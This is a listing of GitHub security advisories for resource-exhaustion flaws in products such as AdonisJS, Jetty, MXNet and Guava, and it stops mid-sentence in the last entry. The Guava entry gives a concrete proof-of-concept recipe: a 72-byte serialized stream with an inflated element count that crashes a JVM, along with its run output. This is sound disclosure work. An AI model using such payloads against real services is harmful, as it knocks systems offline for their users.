Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

7069 vulnerabilities reference this CWE, most recent first.

GHSA-XX78-W68C-HGFG

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-07-13 00:01
VLAI
Details

A remote denial of service (DoS) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-29152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-08T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A remote denial of service (DoS) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-xx78-w68c-hgfg",
  "modified": "2022-07-13T00:01:16Z",
  "published": "2022-05-24T19:07:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29152"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-012.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XX9G-FH25-4Q64

Vulnerability from github – Published: 2026-02-06 19:53 – Updated: 2026-02-07 00:33
VLAI
Summary
AdonisJS vulnerable to Denial of Service (DoS) via Unrestricted Memory Buffering in PartHandler during File Type Detection
Details

Summary

A Denial of Service (DoS) vulnerability (CWE-400) exists in the multipart file handling logic of @adonisjs/bodyparser. When processing file uploads, the multipart parser may accumulate an unbounded amount of data in memory while attempting to detect file types, potentially leading to excessive memory consumption and process termination.

This issue affects applications that accept multipart/form-data uploads using affected versions of @adonisjs/bodyparser.

Details

AdonisJS parses multipart/form-data requests using the BodyParser package. During file uploads, the multipart parser attempts to detect the uploaded file type by accumulating incoming chunks in an internal buffer to perform magic number detection.

The internal buffer used for this detection does not enforce a maximum size and is not protected by a timeout or early termination condition. If the uploaded data does not match any supported file signatures, the buffer continues to grow as more chunks are received.

When certain configurations are used, such as deferred validations or permissive file size limits, this buffering behavior may persist for the duration of the upload stream.

Impact

Exploitation requires a reachable endpoint that accepts multipart file uploads.

An attacker can send a specially crafted multipart request containing a large or unbounded stream of data that does not match known file signatures. This may cause the server to continuously allocate memory until the Node.js process exhausts available RAM and terminates due to an out-of-memory condition.

This results in a Denial of Service, making the application unavailable to legitimate users. Authentication is not required if the upload endpoint is publicly accessible.

Patches

Fixes targeting v6 and v7 have been published below.

Users should upgrade to a version that includes the following fix: - https://github.com/adonisjs/bodyparser/releases/tag/v10.1.3 - https://github.com/adonisjs/bodyparser/releases/tag/v11.0.0-next.9

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@adonisjs/bodyparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.0-next.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@adonisjs/bodyparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-next.0"
            },
            {
              "fixed": "11.0.0-next.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T19:53:55Z",
    "nvd_published_at": "2026-02-06T23:15:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Denial of Service (DoS) vulnerability (CWE-400) exists in the multipart file handling logic of `@adonisjs/bodyparser`. When processing file uploads, the multipart parser may accumulate an unbounded amount of data in memory while attempting to detect file types, potentially leading to excessive memory consumption and process termination.\n\nThis issue affects applications that accept `multipart/form-data` uploads using affected versions of `@adonisjs/bodyparser`.\n\n### Details\n\nAdonisJS parses `multipart/form-data` requests using the BodyParser package. During file uploads, the multipart parser attempts to detect the uploaded file type by accumulating incoming chunks in an internal buffer to perform magic number detection.\n\nThe internal buffer used for this detection does not enforce a maximum size and is not protected by a timeout or early termination condition. If the uploaded data does not match any supported file signatures, the buffer continues to grow as more chunks are received.\n\nWhen certain configurations are used, such as deferred validations or permissive file size limits, this buffering behavior may persist for the duration of the upload stream.\n\n### Impact\n\nExploitation requires a reachable endpoint that accepts multipart file uploads.\n\nAn attacker can send a specially crafted multipart request containing a large or unbounded stream of data that does not match known file signatures. This may cause the server to continuously allocate memory until the Node.js process exhausts available RAM and terminates due to an out-of-memory condition.\n\nThis results in a Denial of Service, making the application unavailable to legitimate users. Authentication is not required if the upload endpoint is publicly accessible.\n\n### Patches\n\nFixes targeting v6 and v7 have been published below.\n\nUsers should upgrade to a version that includes the following fix:\n- https://github.com/adonisjs/bodyparser/releases/tag/v10.1.3\n- https://github.com/adonisjs/bodyparser/releases/tag/v11.0.0-next.9",
  "id": "GHSA-xx9g-fh25-4q64",
  "modified": "2026-02-07T00:33:34Z",
  "published": "2026-02-06T19:53:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/core/security/advisories/GHSA-xx9g-fh25-4q64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/bodyparser/releases/tag/v10.1.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adonisjs/bodyparser/releases/tag/v11.0.0-next.9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adonisjs/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AdonisJS vulnerable to Denial of Service (DoS) via Unrestricted Memory Buffering in PartHandler during File Type Detection"
}

GHSA-XXGP-PFPW-Q668

Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32
VLAI
Details

Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Time and Labor. CVSS 3.1 Base Score 3.1 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:19:06Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor.  Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Time and Labor. CVSS 3.1 Base Score 3.1 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).",
  "id": "GHSA-xxgp-pfpw-q668",
  "modified": "2026-07-22T00:32:32Z",
  "published": "2026-07-22T00:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62508"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXH7-FCF3-RJ7F

Vulnerability from github – Published: 2026-03-05 21:27 – Updated: 2026-03-05 21:27
VLAI
Summary
The Eclipse Jetty Server Artifact has a Gzip request memory leak
Details

Description (as reported)

There is a memory leak when using GzipHandler in jetty-12.0.30 that can cause off-heap OOMs. This can be used for DoS attacks so I'm reporting this as a vulnerability.

The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.__inflaterPool because gzipRequest.destory() is not called.

In heap dumps one can see thousands of java.util.zip.Inflator objects, which use both Java heaps and native memory. Leaking native memory causes of off-heap OOMs.

Code path in GzipHandler.handle(): 1. Line 601: GzipRequest is created when request inflation is needed. 2. Lines 611-616: The callback is only wrapped in GzipResponseAndCallback when both inflation and deflation are needed. 3. Lines 619-625: If the handler accepts the request (returns true), gzipRequest.destroy() is only called in the "request not accepted" path (returns false)

When deflation is needed, GzipResponseAndCallback (lines 102 and 116) properly calls gzipRequest.destroy() in its succeeded() and failed() methods. But this wrapper is only created when deflation is needed.

Possible fix: The callback should be wrapped whenever a GzipRequest is created, not just when deflation is needed. This ensures gzipRequest.destroy() is always called when the request completes.

Impact

The leak causes the JVM to crash with OOME.

Patches

No patches yet.

Workarounds

Disable GzipHandler.

References

https://github.com/jetty/jetty.project/issues/14260

https://gitlab.eclipse.org/security/cve-assignment/-/issues/79

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0"
            },
            {
              "fixed": "12.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.31"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:27:59Z",
    "nvd_published_at": "2026-03-05T10:15:56Z",
    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nThere is a memory leak when using `GzipHandler` in jetty-12.0.30 that can cause off-heap OOMs. This can be used for DoS attacks so I\u0027m reporting this as a vulnerability.\n\nThe leak is created by requests where the request is inflated (`Content-Encoding: gzip`) and the response is not deflated (no `Accept-Encoding: gzip`). In these conditions, a new inflator will be created by `GzipRequest` and never released back into `GzipRequest.__inflaterPool` because `gzipRequest.destory()` is not called.\n\nIn heap dumps one can see thousands of `java.util.zip.Inflator` objects, which use both Java heaps and native memory. Leaking native memory causes of off-heap OOMs.\n\nCode path in `GzipHandler.handle()`:\n1. Line 601: `GzipRequest` is created when request inflation is needed.\n2. Lines 611-616: The callback is only wrapped in `GzipResponseAndCallback` when both inflation and deflation are needed.\n3. Lines 619-625: If the handler accepts the request (returns true), `gzipRequest.destroy()` is only called in the \"request not accepted\" path (returns false)\n\nWhen deflation is needed, `GzipResponseAndCallback` (lines 102 and 116) properly calls `gzipRequest.destroy()` in its `succeeded()` and `failed()` methods. But this wrapper is only created when deflation is needed.\n\nPossible fix:\nThe callback should be wrapped whenever a `GzipRequest` is created, not just when deflation is needed. This ensures `gzipRequest.destroy()` is always called when the request completes.\n\n\n### Impact\nThe leak causes the JVM to crash with OOME.\n\n### Patches\nNo patches yet.\n\n### Workarounds\nDisable `GzipHandler`.\n\n### References\nhttps://github.com/jetty/jetty.project/issues/14260\n\nhttps://gitlab.eclipse.org/security/cve-assignment/-/issues/79",
  "id": "GHSA-xxh7-fcf3-rj7f",
  "modified": "2026-03-05T21:27:59Z",
  "published": "2026-03-05T21:27:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-xxh7-fcf3-rj7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/issues/14260"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/79"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "The Eclipse Jetty Server Artifact has a Gzip request memory leak "
}

GHSA-XXJ3-55P6-XG3H

Vulnerability from github – Published: 2022-07-25 00:00 – Updated: 2023-03-01 20:32
VLAI
Summary
Apache MXNet vulnerable to potential denial-of-service by excessive resource consumption
Details

A regular expression used in Apache MXNet (incubating) is vulnerable to a potential denial-of-service by excessive resource consumption. The bug could be exploited when loading a model in Apache MXNet that has a specially crafted operator name that would cause the regular expression evaluation to use excessive resources to attempt a match. This issue affects Apache MXNet versions prior to 1.9.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mxnet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-01T20:32:45Z",
    "nvd_published_at": "2022-07-24T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A regular expression used in Apache MXNet (incubating) is vulnerable to a potential denial-of-service by excessive resource consumption. The bug could be exploited when loading a model in Apache MXNet that has a specially crafted operator name that would cause the regular expression evaluation to use excessive resources to attempt a match. This issue affects Apache MXNet versions prior to 1.9.1.",
  "id": "GHSA-xxj3-55p6-xg3h",
  "modified": "2023-03-01T20:32:45Z",
  "published": "2022-07-25T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24294"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/mxnet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/mxnet/releases/tag/1.9.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/b1fbfmvzlr2bbp95lqoh3mtovclfcl3o"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/07/24/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache MXNet vulnerable to potential denial-of-service by excessive resource consumption"
}

GHSA-XXPH-C9WW-HJ94

Vulnerability from github – Published: 2026-10-27 14:27 – Updated: 2026-10-27 14:27
VLAI
Summary
Google Guava: CompactHashMap/CompactHashSet/MapMakerInternalMap deserialization triggers uncontrolled memory allocation
Details

CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation

Summary

CompactHashMap, CompactHashSet, and MapMakerInternalMap implement readObject(ObjectInputStream) by reading an attacker-controlled elementCount or initialCapacity from the stream. On the very first insertion during or after deserialization (for the CompactHash* collections, inside allocArrays()) or immediately during deserialization (for MapMakerInternalMap), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to CompactHashing.MAX_SIZE = 2^30-1, ~1.07 billion, for example) before the rest of the stream's actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with OutOfMemoryError, dynamically confirmed against the current release.

Details

CompactHashMap.readObject() (guava/src/com/google/common/collect/CompactHashMap.java):

private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
  stream.defaultReadObject();
  int elementCount = stream.readInt();
  if (elementCount < 0) {
    throw new InvalidObjectException("Invalid size: " + elementCount);
  }
  init(elementCount);
  for (int i = 0; i < elementCount; i++) {
    K key = (K) stream.readObject();
    V value = (V) stream.readObject();
    put(key, value);
  }
}

elementCount is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. init(elementCount) (line 251) just stores the value (clamped to [1, CompactHashing.MAX_SIZE], i.e. up to 2^30-1):

void init(int expectedSize) {
  Preconditions.checkArgument(expectedSize >= 0, "Expected size must be >= 0");
  this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE);
}

The real allocation is deferred to allocArrays(), which fires lazily on the first put() call — i.e. after only one key/value pair has actually been read off the wire:

int allocArrays() {
  ...
  int expectedSize = metadata;
  int buckets = CompactHashing.tableSize(expectedSize);
  this.table = CompactHashing.createTable(buckets);
  setHashTableMask(buckets - 1);
  this.entries = new int[expectedSize];
  this.keys = new Object[expectedSize];
  this.values = new Object[expectedSize];
  return expectedSize;
}

With expectedSize near CompactHashing.MAX_SIZE (2^30-1), this single call allocates a hash table plus three expectedSize-length arrays — multiple gigabytes — triggered by a stream that has, at that point, only supplied one small real element. CompactHashSet.readObject()/allocArrays() have the identical shape. CompactLinkedHashMap/CompactLinkedHashSet extend these classes and inherit the same unguarded path.

The problem with MapMakerInternalMap is similar, with a size read from the serialized data and stored in a MapMaker instance for later user during deserialization, when the MapMaker is passed back to MapMakerInternalMap and segments are allocated by calling newSegment, whose implementations (example) create Segment instances (example) that allocate arrays of the requested capacity through the newTable helper.

This is the same amplification shape as the already-fixed CVE-2018-10237 (AtomicDoubleArray/CompoundOrdering: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote AtomicDoubleArray.readObject() to grow an ImmutableLongArray.Builder incrementally per element actually read, rather than pre-allocating from the declared size — Guava's own HashBiMap.readObject() documents the same defensive principle explicitly in a comment: init(16); // resist hostile attempts to allocate gratuitous heap. CompactHashMap/CompactHashSet do not follow either of these two patterns already present elsewhere in the same codebase.

Reachability: All classes are top-level, implements ... Serializable, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream — no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE.

PoC

Full source and run instructions in the attached poc-guava-compacthash-dos.zip (Maven project, guava:33.7.1-jre — the current latest release — as the only dependency). The PoC:

  1. Uses reflection only to legitimately obtain a CompactHashSet instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava's own serialization code).
  2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the elementCount field (byte-precise, not guessed).
  3. Patches that one 4-byte field in the 1-element stream from 1 to 0x3FFFFFFF (CompactHashing.MAX_SIZE), leaving the rest of the 72-byte stream (one real "A" element) untouched.
  4. Feeds the resulting 72-byte malicious stream into a plain new ObjectInputStream(...).readObject() call against the real, unmodified guava-33.7.1-jre.jar.

Actual run output:

### -Xmx8g (generous heap) ###
Located size field at offset 63, value=1 (expected 1)
Malicious stream size: 72 bytes
Declared elementCount: 1073741823 (~1.07 billion)
Real payload: 1 tiny string element ("A")
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 4013 ms
Heap used before: 3 MB
Heap used after (at failure point): 4103 MB
JVM max heap (-Xmx): 8192 MB

### -Xmx128m (ordinary service-sized heap) ###
Located size field at offset 63, value=1 (expected 1)
Malicious stream size: 72 bytes
Declared elementCount: 1073741823 (~1.07 billion)
Real payload: 1 tiny string element ("A")
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 24 ms
Heap used before: 4 MB
Heap used after (at failure point): 2 MB
JVM max heap (-Xmx): 128 MB

A 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms — over 50,000x amplification between input size and forced allocation.

To reproduce: mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt && java -Xmx128m -cp "target/classes:$(cat cp.txt)" poc.Poc

Impact

Uncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs ObjectInputStream.readObject() on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize.

Severity

CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H — identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22×0.85×0.44×0.85×0.85 = 2.221; ISS = 1-(1×1×0.44) = 0.56; impact = 6.42×0.56 = 3.595; base = roundup(5.816) = 5.9 (Medium).

Affected

com.google.guava:guava, all editions (-jre/-android) — confirmed on the current latest release, 33.7.1-jre. CompactHashMap/CompactHashSet/CompactLinkedHashMap/CompactLinkedHashSet have had this same readObject/allocArrays shape for a long time (probably since they were added in Guava 23.6), and similarly for MapMakerInternalMap (which was introduced in Guava 4.0); not tested against older individual releases.

Suggested fix

Apply the same defense already used elsewhere in this codebase: either clamp the initial init() capacity to a small constant regardless of the declared elementCount (as HashBiMap.readObject() already does — init(16); // resist hostile attempts to allocate gratuitous heap) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed AtomicDoubleArray.readObject() does via ImmutableLongArray.Builder) instead of eagerly sizing to the full attacker-declared count on first insert.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 33.7.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "33.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-502",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T14:27:53Z",
    "nvd_published_at": "2026-10-09T16:17:20Z",
    "severity": "HIGH"
  },
  "details": "# CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation\n\n## Summary\n\n`CompactHashMap`, `CompactHashSet`, and `MapMakerInternalMap` implement `readObject(ObjectInputStream)` by reading an attacker-controlled `elementCount` or `initialCapacity` from the stream. On the very first insertion during or after deserialization (for the `CompactHash*` collections, inside `allocArrays()`) or immediately during deserialization (for `MapMakerInternalMap`), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to `CompactHashing.MAX_SIZE` = 2^30-1, ~1.07 billion, for example) before the rest of the stream\u0027s actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with `OutOfMemoryError`, dynamically confirmed against the current release.\n\n## Details\n\n`CompactHashMap.readObject()` (`guava/src/com/google/common/collect/CompactHashMap.java`):\n\n```java\nprivate void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {\n  stream.defaultReadObject();\n  int elementCount = stream.readInt();\n  if (elementCount \u003c 0) {\n    throw new InvalidObjectException(\"Invalid size: \" + elementCount);\n  }\n  init(elementCount);\n  for (int i = 0; i \u003c elementCount; i++) {\n    K key = (K) stream.readObject();\n    V value = (V) stream.readObject();\n    put(key, value);\n  }\n}\n```\n\n`elementCount` is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. `init(elementCount)` (line 251) just stores the value (clamped to `[1, CompactHashing.MAX_SIZE]`, i.e. up to 2^30-1):\n\n```java\nvoid init(int expectedSize) {\n  Preconditions.checkArgument(expectedSize \u003e= 0, \"Expected size must be \u003e= 0\");\n  this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE);\n}\n```\n\nThe real allocation is deferred to `allocArrays()`, which fires lazily on the *first* `put()` call \u2014 i.e. after only one key/value pair has actually been read off the wire:\n\n```java\nint allocArrays() {\n  ...\n  int expectedSize = metadata;\n  int buckets = CompactHashing.tableSize(expectedSize);\n  this.table = CompactHashing.createTable(buckets);\n  setHashTableMask(buckets - 1);\n  this.entries = new int[expectedSize];\n  this.keys = new Object[expectedSize];\n  this.values = new Object[expectedSize];\n  return expectedSize;\n}\n```\n\nWith `expectedSize` near `CompactHashing.MAX_SIZE` (2^30-1), this single call allocates a hash `table` plus three `expectedSize`-length arrays \u2014 multiple gigabytes \u2014 triggered by a stream that has, at that point, only supplied one small real element. `CompactHashSet.readObject()`/`allocArrays()` have the identical shape. `CompactLinkedHashMap`/`CompactLinkedHashSet` extend these classes and inherit the same unguarded path.\n\nThe problem with `MapMakerInternalMap` is similar, with [a size read from the serialized data and stored in a `MapMaker` instance](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2848-L2851) for [later user during deserialization](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2897), when [the `MapMaker` is passed back to `MapMakerInternalMap`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMaker.java#L287) and [segments are allocated](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L173-L200) by [calling `newSegment`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1143), whose implementations ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L443)) create `Segment` instances ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2019)) that [allocate arrays of the requested capacity](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1234) through [the `newTable`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1262) helper.\n\nThis is the same amplification shape as the already-fixed **CVE-2018-10237** (`AtomicDoubleArray`/`CompoundOrdering`: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote `AtomicDoubleArray.readObject()` to grow an `ImmutableLongArray.Builder` incrementally per element actually read, rather than pre-allocating from the declared size \u2014 Guava\u0027s own `HashBiMap.readObject()` documents the same defensive principle explicitly in a comment: `init(16); // resist hostile attempts to allocate gratuitous heap`. `CompactHashMap`/`CompactHashSet` do not follow either of these two patterns already present elsewhere in the same codebase.\n\n**Reachability**: All classes are top-level, `implements ... Serializable`, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream \u2014 no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE.\n\n## PoC\n\nFull source and run instructions in the attached `poc-guava-compacthash-dos.zip` (Maven project, `guava:33.7.1-jre` \u2014 the current latest release \u2014 as the only dependency). The PoC:\n\n1. Uses reflection only to legitimately obtain a `CompactHashSet` instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava\u0027s own serialization code).\n2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the `elementCount` field (byte-precise, not guessed).\n3. Patches that one 4-byte field in the 1-element stream from `1` to `0x3FFFFFFF` (`CompactHashing.MAX_SIZE`), leaving the rest of the 72-byte stream (one real `\"A\"` element) untouched.\n4. Feeds the resulting 72-byte malicious stream into a plain `new ObjectInputStream(...).readObject()` call against the real, unmodified `guava-33.7.1-jre.jar`.\n\nActual run output:\n\n```\n### -Xmx8g (generous heap) ###\nLocated size field at offset 63, value=1 (expected 1)\nMalicious stream size: 72 bytes\nDeclared elementCount: 1073741823 (~1.07 billion)\nReal payload: 1 tiny string element (\"A\")\n=== RESULT ===\nException: java.lang.OutOfMemoryError: Java heap space\nTime to allocate+fail: 4013 ms\nHeap used before: 3 MB\nHeap used after (at failure point): 4103 MB\nJVM max heap (-Xmx): 8192 MB\n\n### -Xmx128m (ordinary service-sized heap) ###\nLocated size field at offset 63, value=1 (expected 1)\nMalicious stream size: 72 bytes\nDeclared elementCount: 1073741823 (~1.07 billion)\nReal payload: 1 tiny string element (\"A\")\n=== RESULT ===\nException: java.lang.OutOfMemoryError: Java heap space\nTime to allocate+fail: 24 ms\nHeap used before: 4 MB\nHeap used after (at failure point): 2 MB\nJVM max heap (-Xmx): 128 MB\n```\n\nA 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms \u2014 over 50,000x amplification between input size and forced allocation.\n\nTo reproduce: `mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt \u0026\u0026 java -Xmx128m -cp \"target/classes:$(cat cp.txt)\" poc.Poc`\n\n## Impact\n\nUncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs 